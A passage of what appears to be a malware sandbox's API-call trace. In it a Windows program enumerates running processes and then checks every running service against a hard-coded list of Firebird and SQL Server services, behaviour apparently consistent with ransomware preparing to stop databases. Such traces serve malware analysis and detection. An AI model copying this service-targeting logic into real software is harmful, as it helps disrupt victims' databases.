th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0205.189] lstrlenW (lpString="planned.exe") returned 11 [0205.189] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0205.189] lstrlenW (lpString="springer andrew.exe") returned 19 [0205.189] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0205.190] lstrlenW (lpString="cakes import.exe") returned 16 [0205.190] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0205.191] lstrlenW (lpString="theory.exe") returned 10 [0205.191] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0205.192] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0205.192] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0205.192] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0205.192] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0205.577] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0205.586] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0205.602] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0205.602] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0205.603] lstrlenW (lpString="indicescancellation.exe") returned 23 [0205.603] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0205.603] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0205.603] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0205.604] lstrlenW (lpString="desk.exe") returned 8 [0205.604] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.605] lstrlenW (lpString="svchost.exe") returned 11 [0205.605] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0205.605] lstrlenW (lpString="sppsvc.exe") returned 10 [0205.605] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.606] lstrlenW (lpString="svchost.exe") returned 11 [0205.606] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0205.606] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0205.606] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0205.607] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0205.607] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0205.607] lstrlenW (lpString="winhost.exe") returned 11 [0205.607] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.608] lstrlenW (lpString="cmd.exe") returned 7 [0205.608] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.609] lstrlenW (lpString="conhost.exe") returned 11 [0205.609] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0205.609] lstrlenW (lpString="mode.com") returned 8 [0205.609] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0205.610] CloseHandle (hObject=0x1a8) returned 1 [0205.610] Sleep (dwMilliseconds=0x1f4) [0206.219] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63feb0 [0206.220] EnumServicesStatusExW (in: hSCManager=0x63feb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0206.220] GetLastError () returned 0xea [0206.220] EnumServicesStatusExW (in: hSCManager=0x63feb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a016f8, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a016f8, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0206.220] CloseServiceHandle (hSCObject=0x63feb0) returned 1 [0206.221] lstrlenW (lpString="Appinfo") returned 7 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0206.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0206.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0206.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0206.221] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.221] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0206.221] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0206.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0206.221] lstrlenW (lpString="AudioSrv") returned 8 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0206.221] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0206.221] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0206.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0206.221] lstrlenW (lpString="BFE") returned 3 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0206.221] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0206.221] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0206.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0206.221] lstrlenW (lpString="CryptSvc") returned 8 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0206.221] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0206.221] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0206.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0206.221] lstrlenW (lpString="CscService") returned 10 [0206.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0206.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0206.222] lstrlenW (lpString="DcomLaunch") returned 10 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0206.222] lstrlenW (lpString="Dhcp") returned 4 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0206.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0206.222] lstrlenW (lpString="Dnscache") returned 8 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0206.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0206.222] lstrlenW (lpString="DPS") returned 3 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0206.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0206.222] lstrlenW (lpString="eventlog") returned 8 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0206.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0206.222] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0206.222] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0206.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0206.222] lstrlenW (lpString="EventSystem") returned 11 [0206.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0206.223] lstrlenW (lpString="FontCache") returned 9 [0206.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0206.223] lstrlenW (lpString="gpsvc") returned 5 [0206.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0206.223] lstrlenW (lpString="iphlpsvc") returned 8 [0206.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0206.223] lstrlenW (lpString="LanmanServer") returned 12 [0206.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0206.223] lstrlenW (lpString="LanmanWorkstation") returned 17 [0206.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.223] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0206.223] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0206.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0206.224] lstrlenW (lpString="lmhosts") returned 7 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0206.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0206.224] lstrlenW (lpString="MMCSS") returned 5 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0206.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0206.224] lstrlenW (lpString="MpsSvc") returned 6 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0206.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0206.224] lstrlenW (lpString="Netman") returned 6 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0206.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0206.224] lstrlenW (lpString="netprofm") returned 8 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0206.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0206.224] lstrlenW (lpString="NlaSvc") returned 6 [0206.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0206.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0206.224] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0206.224] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0206.225] lstrlenW (lpString="nsi") returned 3 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0206.225] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0206.225] lstrlenW (lpString="PcaSvc") returned 6 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0206.225] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0206.225] lstrlenW (lpString="PlugPlay") returned 8 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0206.225] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0206.225] lstrlenW (lpString="Power") returned 5 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0206.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0206.225] lstrlenW (lpString="ProfSvc") returned 7 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0206.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0206.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0206.225] lstrlenW (lpString="RpcEptMapper") returned 12 [0206.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.225] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0206.226] lstrlenW (lpString="RpcSs") returned 5 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0206.226] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0206.226] lstrlenW (lpString="SamSs") returned 5 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0206.226] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0206.226] lstrlenW (lpString="Schedule") returned 8 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0206.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0206.226] lstrlenW (lpString="SENS") returned 4 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0206.226] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0206.226] lstrlenW (lpString="ShellHWDetection") returned 16 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.226] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0206.226] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0206.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0206.226] lstrlenW (lpString="Spooler") returned 7 [0206.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0206.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0206.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0206.227] lstrlenW (lpString="sppsvc") returned 6 [0206.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0206.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0206.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0206.227] lstrlenW (lpString="SysMain") returned 7 [0206.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0206.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0206.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0206.227] lstrlenW (lpString="Themes") returned 6 [0206.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0206.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0206.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0206.227] lstrlenW 